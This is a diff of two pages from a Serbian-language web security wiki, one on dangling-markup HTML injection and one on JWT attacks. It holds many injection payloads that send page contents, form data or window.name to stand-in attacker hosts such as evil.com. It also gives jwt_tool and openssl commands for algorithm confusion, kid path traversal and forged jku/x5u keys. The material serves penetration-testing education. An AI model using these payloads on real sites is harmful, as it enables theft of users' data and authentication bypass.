<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||||||
```
|
```
|
||||||
|
|
||||||
Napomena da **Chrome blokira HTTP URL-ove** sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima kao što je "ftp".
|
Napomena da **Chrome blokira HTTP URL-ove** sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima kao što je "ftp".
|
||||||
|
|
||||||
Takođe možete zloupotrebiti CSS `@import` (će poslati sav kod dok ne pronađe ";")
|
Takođe možete zloupotrebiti CSS `@import` (će poslati sav kod dok ne pronađe ";")
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<style>@import//hackvertor.co.uk? <--- Injected
|
<style>@import//hackvertor.co.uk? <--- Injected
|
||||||
<b>steal me!</b>;
|
<b>steal me!</b>;
|
||||||
```
|
```
|
||||||
|
|
||||||
Takođe možete koristiti **`<table`**:
|
Takođe možete koristiti **`<table`**:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete takođe ubaciti `<base` oznaku. Sve informacije će biti poslate dok se navod ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će base oznaka promeniti domen na koji link pokazuje):
|
Možete takođe ubaciti `<base` oznaku. Sve informacije će biti poslate dok se navod ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će base oznaka promeniti domen na koji link pokazuje):
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<base target=' <--- Injected
|
<base target=' <--- Injected
|
||||||
steal me'<b>test</b>
|
steal me'<b>test</b>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Krađa formi
|
### Krađa formi
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<base href='http://evil.com/'>
|
<base href='http://evil.com/'>
|
||||||
```
|
```
|
||||||
|
|
||||||
Zatim, obrasci koji šalju podatke putanji (kao `<form action='update_profile.php'>`) će slati podatke na zlonamernu domenu.
|
Zatim, obrasci koji šalju podatke putanji (kao `<form action='update_profile.php'>`) će slati podatke na zlonamernu domenu.
|
||||||
|
|
||||||
### Krađa obrazaca 2
|
### Krađa obrazaca 2
|
||||||
|
@ -62,9 +72,11 @@ Postavite zaglavlje obrasca: `<form action='http://evil.com/log_steal'>` ovo će
|
||||||
### Krađa obrazaca 3
|
### Krađa obrazaca 3
|
||||||
|
|
||||||
Dugme može promeniti URL na koji će informacije iz obrasca biti poslate pomoću atributa "formaction":
|
Dugme može promeniti URL na koji će informacije iz obrasca biti poslate pomoću atributa "formaction":
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||||||
```
|
```
|
||||||
|
|
||||||
Napadač može koristiti ovo da ukrade informacije.
|
Napadač može koristiti ovo da ukrade informacije.
|
||||||
|
|
||||||
Pronađite [**primer ovog napada u ovom opisu**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
Pronađite [**primer ovog napada u ovom opisu**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
||||||
|
@ -72,18 +84,23 @@ Pronađite [**primer ovog napada u ovom opisu**](https://portswigger.net/researc
|
||||||
### Krađa tajnih tekstualnih informacija 2
|
### Krađa tajnih tekstualnih informacija 2
|
||||||
|
|
||||||
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
|
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<input type='hidden' name='review_body' value="
|
<input type='hidden' name='review_body' value="
|
||||||
```
|
```
|
||||||
|
|
||||||
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "_**Krađu tajnih tekstova u čistom obliku**_" sa "_**Krađom formi2**_".
|
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "_**Krađu tajnih tekstova u čistom obliku**_" sa "_**Krađom formi2**_".
|
||||||
|
|
||||||
Možete uraditi istu stvar ubacivanjem forme i `<option>` oznake. Svi podaci dok se ne pronađe zatvoreni `</option>` će biti poslati:
|
Možete uraditi istu stvar ubacivanjem forme i `<option>` oznake. Svi podaci dok se ne pronađe zatvoreni `</option>` će biti poslati:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ubacivanje parametara obrasca
|
### Ubacivanje parametara obrasca
|
||||||
|
|
||||||
Možete promeniti putanju obrasca i ubaciti nove vrednosti kako bi se izvršila neočekivana radnja:
|
Možete promeniti putanju obrasca i ubaciti nove vrednosti kako bi se izvršila neočekivana radnja:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<form action='/change_settings.php'>
|
<form action='/change_settings.php'>
|
||||||
<input type='hidden' name='invite_user'
|
<input type='hidden' name='invite_user'
|
||||||
|
@ -97,32 +114,40 @@ value='fredmbogo'> ← Injected lines
|
||||||
...
|
...
|
||||||
</form>
|
</form>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Krađa tajnih tekstova u čistom obliku putem noscript
|
### Krađa tajnih tekstova u čistom obliku putem noscript
|
||||||
|
|
||||||
`<noscript></noscript>` je oznaka čiji će sadržaj biti tumačen ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
`<noscript></noscript>` je oznaka čiji će sadržaj biti tumačen ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||||
|
|
||||||
Način za eksfiltraciju sadržaja web stranice od tačke ubacivanja do dna ka sajtu pod kontrolom napadača biće ubacivanje ovoga:
|
Način za eksfiltraciju sadržaja web stranice od tačke ubacivanja do dna ka sajtu pod kontrolom napadača biće ubacivanje ovoga:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypassing CSP sa korisničkom interakcijom
|
### Bypassing CSP sa korisničkom interakcijom
|
||||||
|
|
||||||
Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) možete naučiti da čak i iz **najstrože ograničenih CSP okruženja** možete i dalje **izfiltrirati podatke** sa određenom **korisničkom interakcijom**. U ovom slučaju ćemo koristiti payload:
|
Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) možete naučiti da čak i iz **najstrože ograničenih CSP okruženja** možete i dalje **izfiltrirati podatke** sa određenom **korisničkom interakcijom**. U ovom slučaju ćemo koristiti payload:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||||
<base target='
|
<base target='
|
||||||
```
|
```
|
||||||
|
|
||||||
Napomena da ćete zatražiti od **žrtve** da **klikne na link** koji će je **preusmeriti** na **payload** koji kontrolišete. Takođe, obratite pažnju da će **`target`** atribut unutar **`base`** oznake sadržati **HTML sadržaj** do sledećeg jednostrukog navodnika.\
|
Napomena da ćete zatražiti od **žrtve** da **klikne na link** koji će je **preusmeriti** na **payload** koji kontrolišete. Takođe, obratite pažnju da će **`target`** atribut unutar **`base`** oznake sadržati **HTML sadržaj** do sledećeg jednostrukog navodnika.\
|
||||||
To će rezultirati time da će **vrednost** **`window.name`** biti sav taj **HTML sadržaj** kada se klikne na link. Stoga, pošto **kontrolišete stranicu** na koju žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **eksfiltrirati** te podatke:
|
To će rezultirati time da će **vrednost** **`window.name`** biti sav taj **HTML sadržaj** kada se klikne na link. Stoga, pošto **kontrolišete stranicu** na koju žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **eksfiltrirati** te podatke:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
if(window.name) {
|
if(window.name) {
|
||||||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Zavaravajući radni tok skripte 1 - Napad na HTML namespace
|
### Zavaravajući radni tok skripte 1 - Napad na HTML namespace
|
||||||
|
|
||||||
Umetnite novu oznaku sa id-om unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacije deliti:
|
Umetnite novu oznaku sa id-om unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacije deliti:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||||||
...
|
...
|
||||||
|
@ -137,9 +162,11 @@ request.share_with = document.getElementById('share_with').value;
|
||||||
...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Zavaravajući radni tok skripte 2 - Napad na skriptni prostor imena
|
### Zavaravajući radni tok skripte 2 - Napad na skriptni prostor imena
|
||||||
|
|
||||||
Kreirajte promenljive unutar JavaScript prostora imena ubacivanjem HTML tagova. Zatim će ova promenljiva uticati na tok aplikacije:
|
Kreirajte promenljive unutar JavaScript prostora imena ubacivanjem HTML tagova. Zatim će ova promenljiva uticati na tok aplikacije:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<img id='is_public'> ← Injected markup
|
<img id='is_public'> ← Injected markup
|
||||||
|
|
||||||
|
@ -161,9 +188,11 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
|
||||||
...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Zloupotreba JSONP
|
### Zloupotreba JSONP
|
||||||
|
|
||||||
Ako pronađete JSONP interfejs, možete pozvati proizvoljnu funkciju sa proizvoljnim podacima:
|
Ako pronađete JSONP interfejs, možete pozvati proizvoljnu funkciju sa proizvoljnim podacima:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script src='/editor/sharing.js'>: ← Legitimate script
|
<script src='/editor/sharing.js'>: ← Legitimate script
|
||||||
function set_sharing(public) {
|
function set_sharing(public) {
|
||||||
|
@ -175,19 +204,25 @@ else request.access_mode = AM_PRIVATE;
|
||||||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||||||
set_sharing({ ... })
|
set_sharing({ ... })
|
||||||
```
|
```
|
||||||
|
|
||||||
Ili čak možete pokušati da izvršite neki JavaScript:
|
Ili čak možete pokušati da izvršite neki JavaScript:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script src='/search?q=a&call=alert(1)'></script>
|
<script src='/search?q=a&call=alert(1)'></script>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Zloupotreba Iframe-a
|
### Zloupotreba Iframe-a
|
||||||
|
|
||||||
Dete dokument poseduje mogućnost da pregleda i modifikuje `location` svojstvo svojih roditelja, čak i u situacijama prekograničnog saobraćaja. Ovo omogućava ugrađivanje skripte unutar **iframe-a** koja može preusmeriti klijenta na proizvoljnu stranicu:
|
Dete dokument poseduje mogućnost da pregleda i modifikuje `location` svojstvo svojih roditelja, čak i u situacijama prekograničnog saobraćaja. Ovo omogućava ugrađivanje skripte unutar **iframe-a** koja može preusmeriti klijenta na proizvoljnu stranicu:
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||||||
```
|
```
|
||||||
|
|
||||||
Ovo se može ublažiti nečim poput: `sandbox=' allow-scripts allow-top-navigation'`
|
Ovo se može ublažiti nečim poput: `sandbox=' allow-scripts allow-top-navigation'`
|
||||||
|
|
||||||
Iframe takođe može biti zloupotrebljen da bi procurene osetljive informacije sa druge stranice **koristeći atribut imena iframe-a**. To je zato što možete kreirati iframe koji ugrađuje sam sebe zloupotrebljavajući HTML ubacivanje koje čini da **osetljive informacije izgledaju unutar atributa imena iframe-a** i zatim pristupiti tom imenu iz početnog iframe-a i procuriti ga.
|
Iframe takođe može biti zloupotrebljen da bi procurene osetljive informacije sa druge stranice **koristeći atribut imena iframe-a**. To je zato što možete kreirati iframe koji ugrađuje sam sebe zloupotrebljavajući HTML ubacivanje koje čini da **osetljive informacije izgledaju unutar atributa imena iframe-a** i zatim pristupiti tom imenu iz početnog iframe-a i procuriti ga.
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
function cspBypass(win) {
|
function cspBypass(win) {
|
||||||
|
@ -198,6 +233,7 @@ setTimeout(()=>alert(win[0].name), 500);
|
||||||
|
|
||||||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||||||
```
|
```
|
||||||
|
|
||||||
Za više informacija pogledajte [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
Za više informacija pogledajte [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||||
|
|
||||||
### \<meta zloupotreba
|
### \<meta zloupotreba
|
||||||
|
@ -210,9 +246,11 @@ Ovo se može **izbeći** sa **CSP** u vezi sa **http-equiv** (`Content-Security-
|
||||||
|
|
||||||
Možete pronaći veoma **interesantna istraživanja** o iskorišćivim ranjivostima taga \<portal [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
|
Možete pronaći veoma **interesantna istraživanja** o iskorišćivim ranjivostima taga \<portal [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||||
U trenutku pisanja ovog teksta, morate omogućiti tag portala na Chrome-u u `chrome://flags/#enable-portals` ili neće raditi.
|
U trenutku pisanja ovog teksta, morate omogućiti tag portala na Chrome-u u `chrome://flags/#enable-portals` ili neće raditi.
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<portal src='https://attacker-server?
|
<portal src='https://attacker-server?
|
||||||
```
|
```
|
||||||
|
|
||||||
### HTML Curenje
|
### HTML Curenje
|
||||||
|
|
||||||
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||||
|
@ -227,10 +265,10 @@ Ovo je **miks** između **dangling markup i XS-Curenja**. Sa jedne strane, ranji
|
||||||
|
|
||||||
## XS-Pretraga/XS-Curenja
|
## XS-Pretraga/XS-Curenja
|
||||||
|
|
||||||
XS-Pretraga je usmerena na **eksfiltraciju informacija preko granica porekla** zloupotrebom **napada bočnim kanalom**. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (sa i bez izvršenja JS-a), poput [**Ubacivanja CSS-a**](../xs-search.md#css-injection) ili [**Učitavanja slika na zahtev**](../xs-search.md#image-lazy-loading)**.**
|
XS-Pretraga je usmerena na **eksfiltraciju informacija preko granica porekla** zloupotrebom **napada bočnim kanalom**. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (sa i bez izvršenja JS-a), poput [**Ubacivanja CSS-a**](../xs-search/#css-injection) ili [**Učitavanja slika na zahtev**](../xs-search/#image-lazy-loading)**.**
|
||||||
|
|
||||||
{% content-ref url="../xs-search.md" %}
|
{% content-ref url="../xs-search/" %}
|
||||||
[xs-search.md](../xs-search.md)
|
[xs-search](../xs-search/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Lista Detekcije Brute-Force
|
## Lista Detekcije Brute-Force
|
||||||
|
|
|
@ -26,19 +26,23 @@ Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo
|
||||||
### **Brzi Uspeh**
|
### **Brzi Uspeh**
|
||||||
|
|
||||||
Pokrenite [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) sa režimom `Svi Testovi!` i sačekajte zelene linije
|
Pokrenite [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) sa režimom `Svi Testovi!` i sačekajte zelene linije
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py -M at \
|
python3 jwt_tool.py -M at \
|
||||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||||
```
|
```
|
||||||
|
|
||||||
Ako imate sreće, alat će pronaći slučaj gde web aplikacija neispravno proverava JWT:
|
Ako imate sreće, alat će pronaći slučaj gde web aplikacija neispravno proverava JWT:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (435).png>)
|
![](<../.gitbook/assets/image (435).png>)
|
||||||
|
|
||||||
Zatim možete pretražiti zahtev u svom proxy-ju ili izlistati korišćeni JWT za taj zahtev koristeći jwt\_ alat:
|
Zatim možete pretražiti zahtev u svom proxy-ju ili izlistati korišćeni JWT za taj zahtev koristeći jwt\_ alat:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||||
```
|
```
|
||||||
|
|
||||||
### Menjanje podataka bez modifikacije
|
### Menjanje podataka bez modifikacije
|
||||||
|
|
||||||
Možete jednostavno menjati podatke ostavljajući potpis nepromenjen i proveriti da li server proverava potpis. Pokušajte da promenite svoje korisničko ime na "admin" na primer.
|
Možete jednostavno menjati podatke ostavljajući potpis nepromenjen i proveriti da li server proverava potpis. Pokušajte da promenite svoje korisničko ime na "admin" na primer.
|
||||||
|
@ -80,10 +84,12 @@ Algoritam RS256 koristi privatni ključ za potpisivanje poruke i koristi javni k
|
||||||
Ako promenite algoritam sa RS256 na HS256, serverski kod koristi javni ključ kao tajni ključ, a zatim koristi algoritam HS256 za proveru potpisa.
|
Ako promenite algoritam sa RS256 na HS256, serverski kod koristi javni ključ kao tajni ključ, a zatim koristi algoritam HS256 za proveru potpisa.
|
||||||
|
|
||||||
Zatim, koristeći javni ključ i menjanjem RS256 u HS256, mogli bismo kreirati validan potpis. Možete dobiti sertifikat veb servera koji izvršava ovo:
|
Zatim, koristeći javni ključ i menjanjem RS256 u HS256, mogli bismo kreirati validan potpis. Možete dobiti sertifikat veb servera koji izvršava ovo:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||||
```
|
```
|
||||||
|
|
||||||
### Novi javni ključ unutar zaglavlja
|
### Novi javni ključ unutar zaglavlja
|
||||||
|
|
||||||
Napadač ugrađuje novi ključ u zaglavlje tokena, a server koristi ovaj novi ključ za proveru potpisa (CVE-2018-0114).
|
Napadač ugrađuje novi ključ u zaglavlje tokena, a server koristi ovaj novi ključ za proveru potpisa (CVE-2018-0114).
|
||||||
|
@ -102,7 +108,7 @@ Uputstva detaljno opisuju metod za procenu sigurnosti JWT tokena, posebno onih k
|
||||||
* Posmatranje HTTP zahteva ka vašem određenom URL-u ukazuje na serverove pokušaje da preuzme ključeve sa vaše pružene veze.
|
* Posmatranje HTTP zahteva ka vašem određenom URL-u ukazuje na serverove pokušaje da preuzme ključeve sa vaše pružene veze.
|
||||||
* Prilikom korišćenja `jwt_tool` za ovaj proces, važno je ažurirati `jwtconf.ini` fajl sa lokacijom vašeg ličnog JWKS kako biste olakšali testiranje.
|
* Prilikom korišćenja `jwt_tool` za ovaj proces, važno je ažurirati `jwtconf.ini` fajl sa lokacijom vašeg ličnog JWKS kako biste olakšali testiranje.
|
||||||
* **Komanda za `jwt_tool`**:
|
* **Komanda za `jwt_tool`**:
|
||||||
* Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`:
|
* Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py JWT_OVDE -X s
|
python3 jwt_tool.py JWT_OVDE -X s
|
||||||
|
@ -119,9 +125,11 @@ Kada je `kid` zahtev prisutan u zaglavlju, preporučuje se pretraživanje web di
|
||||||
#### Putanja Traversiranja sa "kid"
|
#### Putanja Traversiranja sa "kid"
|
||||||
|
|
||||||
`kid` zahtev takođe može biti iskorišćen za navigaciju kroz sistem fajlova, potencijalno omogućavajući izbor proizvoljnog fajla. Moguće je testirati konektivnost ili izvršiti Server-Side Request Forgery (SSRF) napade menjanjem vrednosti `kid` da cilja određene fajlove ili servise. Manipulisanje JWT-a za promenu vrednosti `kid` dok se zadržava originalni potpis može se postići korišćenjem `-T` zastave u jwt\_tool, kako je prikazano ispod:
|
`kid` zahtev takođe može biti iskorišćen za navigaciju kroz sistem fajlova, potencijalno omogućavajući izbor proizvoljnog fajla. Moguće je testirati konektivnost ili izvršiti Server-Side Request Forgery (SSRF) napade menjanjem vrednosti `kid` da cilja određene fajlove ili servise. Manipulisanje JWT-a za promenu vrednosti `kid` dok se zadržava originalni potpis može se postići korišćenjem `-T` zastave u jwt\_tool, kako je prikazano ispod:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||||
```
|
```
|
||||||
|
|
||||||
### Napad na JWT putem "kid"
|
### Napad na JWT putem "kid"
|
||||||
|
|
||||||
Ciljanjem datoteka sa predvidljivim sadržajem moguće je falsifikovati validan JWT. Na primer, datoteka `/proc/sys/kernel/randomize_va_space` u Linux sistemima, poznata po vrednosti **2**, može se koristiti u parametru `kid` sa **2** kao simetričnom lozinkom za generisanje JWT-a.
|
Ciljanjem datoteka sa predvidljivim sadržajem moguće je falsifikovati validan JWT. Na primer, datoteka `/proc/sys/kernel/randomize_va_space` u Linux sistemima, poznata po vrednosti **2**, može se koristiti u parametru `kid` sa **2** kao simetričnom lozinkom za generisanje JWT-a.
|
||||||
|
@ -148,14 +156,17 @@ jku označava **JWK Set URL**.\
|
||||||
Ako token koristi "jku" **Header** tvrdnju, **proverite pruženu URL**. Ova URL bi trebalo da pokazuje ka URL-u koji sadrži JWKS datoteku koja drži javni ključ za proveru tokena. Modifikujte token da jku vrednost pokazuje ka web servisu za koji možete pratiti saobraćaj.
|
Ako token koristi "jku" **Header** tvrdnju, **proverite pruženu URL**. Ova URL bi trebalo da pokazuje ka URL-u koji sadrži JWKS datoteku koja drži javni ključ za proveru tokena. Modifikujte token da jku vrednost pokazuje ka web servisu za koji možete pratiti saobraćaj.
|
||||||
|
|
||||||
Prvo morate kreirati novi sertifikat sa novim privatnim i javnim ključevima.
|
Prvo morate kreirati novi sertifikat sa novim privatnim i javnim ključevima.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
openssl genrsa -out keypair.pem 2048
|
openssl genrsa -out keypair.pem 2048
|
||||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||||
```
|
```
|
||||||
|
|
||||||
Zatim možete koristiti na primer [**jwt.io**](https://jwt.io) da biste kreirali novi JWT sa **kreiranim javnim i privatnim ključevima i usmerili parametar jku ka kreiranom sertifikatu.** Da biste kreirali validan jku sertifikat, možete preuzeti originalni i promeniti potrebne parametre.
|
Zatim možete koristiti na primer [**jwt.io**](https://jwt.io) da biste kreirali novi JWT sa **kreiranim javnim i privatnim ključevima i usmerili parametar jku ka kreiranom sertifikatu.** Da biste kreirali validan jku sertifikat, možete preuzeti originalni i promeniti potrebne parametre.
|
||||||
|
|
||||||
Parametre "e" i "n" možete dobiti iz javnog sertifikata korišćenjem:
|
Parametre "e" i "n" možete dobiti iz javnog sertifikata korišćenjem:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
from Crypto.PublicKey import RSA
|
from Crypto.PublicKey import RSA
|
||||||
fp = open("publickey.crt", "r")
|
fp = open("publickey.crt", "r")
|
||||||
|
@ -164,6 +175,7 @@ fp.close()
|
||||||
print("n:", hex(key.n))
|
print("n:", hex(key.n))
|
||||||
print("e:", hex(key.e))
|
print("e:", hex(key.e))
|
||||||
```
|
```
|
||||||
|
|
||||||
#### x5u
|
#### x5u
|
||||||
|
|
||||||
X.509 URL. URI koji pokazuje na set X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u setu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Svaki sledeći sertifikat potpisuje prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 5280. Potrebna je transportna sigurnost za prenos sertifikata.
|
X.509 URL. URI koji pokazuje na set X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u setu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Svaki sledeći sertifikat potpisuje prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 5280. Potrebna je transportna sigurnost za prenos sertifikata.
|
||||||
|
@ -171,10 +183,12 @@ X.509 URL. URI koji pokazuje na set X.509 (standard formata sertifikata) javnih
|
||||||
Pokušajte **promeniti ovaj zaglavlje u URL pod vašom kontrolom** i proverite da li je primljen bilo kakav zahtev. U tom slučaju **biste mogli da manipulišete JWT-om**.
|
Pokušajte **promeniti ovaj zaglavlje u URL pod vašom kontrolom** i proverite da li je primljen bilo kakav zahtev. U tom slučaju **biste mogli da manipulišete JWT-om**.
|
||||||
|
|
||||||
Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, morate kreirati sertifikat i izdvojiti javne i privatne ključeve:
|
Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, morate kreirati sertifikat i izdvojiti javne i privatne ključeve:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||||
```
|
```
|
||||||
|
|
||||||
Zatim možete koristiti na primer [**jwt.io**](https://jwt.io) da biste kreirali novi JWT sa **kreiranim javnim i privatnim ključevima i usmeravanjem parametra x5u na sertifikat .crt kreiran.**
|
Zatim možete koristiti na primer [**jwt.io**](https://jwt.io) da biste kreirali novi JWT sa **kreiranim javnim i privatnim ključevima i usmeravanjem parametra x5u na sertifikat .crt kreiran.**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (439).png>)
|
![](<../.gitbook/assets/image (439).png>)
|
||||||
|
@ -188,10 +202,12 @@ Ovaj parametar može sadržati **sertifikat u base64 formatu**:
|
||||||
